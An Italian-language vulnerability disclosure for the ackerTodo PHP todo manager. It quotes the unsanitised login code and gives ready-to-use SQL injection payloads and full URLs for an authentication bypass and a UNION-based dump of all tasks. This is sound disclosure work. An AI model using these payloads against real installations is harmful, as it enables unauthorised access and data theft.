L'ultima versione del bellissimo programma ackerTodo è affetto da una vulnerabilità che permette a chiunque di visualizzare i tasks presenti nel database.
Preface:
ackerTodo is a light-weight web based todo list manager written by Rob Hensley that supports multiple users, groups, categories, super categories, recurring tasks (Daily, Weekly, Monthly, Yearly, Open-Ended), modules, a CLI interface, email notification, file upload capabilites, and many more features. It is also available in 16 different languages.
Il problema era localizato nel file gadget/login.php alle righe:
PHP:
-
$user_login =
trim($_REQUEST['up_login']);
-
$user_pass =
trim($_REQUEST['up_pass']);
-
$num_tasks =
trim($_REQUEST['up_num_tasks']);
Utilizzate poi più sotto:
PHP:
-
$result = db_query("SELECT * FROM ".$table_prefix."users "
-
."WHERE login='$user_login' "
-
."AND password=md5('$user_pass')");
E ancora più sotto:
PHP:
-
$sql = $sql . ' LIMIT ' . $num_tasks;
Se il webserver esegue php con il parametro magic_quotes_gpc disabilitato, possiamo eseguire ben due diverse SQL-Injection.
La prima per loggarci nel sistema senza conoscere la password, e la seconda per ricevere la lista completa di tutti i tasks registrati nel database.
Supponiamo che la nostra username sia 'admin' e la nostra pass wrongpass'.
La query eseguita sarà la seguente:
SQL:
-
SELECT * FROM users WHERE login='admin' AND password=md5('wrongpass')
Dopo l'esecuzione della query il programma esegue il seguente controllo:
Per poter quindi validare il controllo abbiamo bisogno che la query sia valida e che le riga ritornata dal database sia solo una.
Se la nostra query precedente diventasse:
SQL:
-
SELECT * FROM users WHERE login='admin'
-
AND password=md5('wrongpass') OR ( '1' = '1' AND login='admin')
Riusciremmo ad ottenere esattamente quello che vogliamo, una riga sola, anche se la password inserita risultasse errata.
Questo può accadere perchè non esite nessun tipo di controllo sulla variabile $_REQUEST['up_pass'] e, a piacimento potrebbe diventare proprio
SQL:
-
wrongpass') or ('1'='1' AND login='admin
Riassumendo, il primo exploit può essere eseguito semplicemnte puntando il proprio browser verso l'host "vittima" http://host.com/gadget/login.php?up_login=admin&
up_pass=wrongpass')%20or%20(%20'1'%20=
%20'1'%20AND%20login='admin&up_num_tasks=100
La seconda SQL-Injection farà in modo di estrarre tutti i tasks presenti nel database sfruttando la possibilità di alterare la variabile $_REQUEST['up_num_tasks']
La query che si occupa di estrarre tutti i relativi task dell'utente che si è appena loggato è questa:
SQL:
-
SELECT * FROM tasks WHERE login='admin' LIMIT 100
La variabile $_REQUEST['up_num_tasks'] determina quante righe vadano estratte.
Se la variabile venisse modificata in '100 UNION SELECT * FROM tasks' otterremmo la query finale:
SQL:
-
SELECT * FROM tasks WHERE login='admin' LIMIT 100 UNION SELECT * FROM tasks
Ricevendo tutti i task presenti nel dabase (in questo caso solo 100, se ne volessimo di più basterebbe incrementare il LIMIT)
Per eseguire i due exploit basterà utilizzare il seguente url:
http://host.com/gadget/login.php?up_login=admin&
up_pass=wrongpass')%20or%20(%20'1'%20=%20'1'%20AND
%20login='admin&up_num_tasks=100%20UNION%20select%20*
%20FROM%20tasks
L'autore è stato informato della vulnerabilità a ha aggiunto una patch di sicurezza per la prossima release.
La vulnerabilità è diventata pubblica oggi e chi fosse iscritto alla ML di securityfocus avrà visto passare la mia mail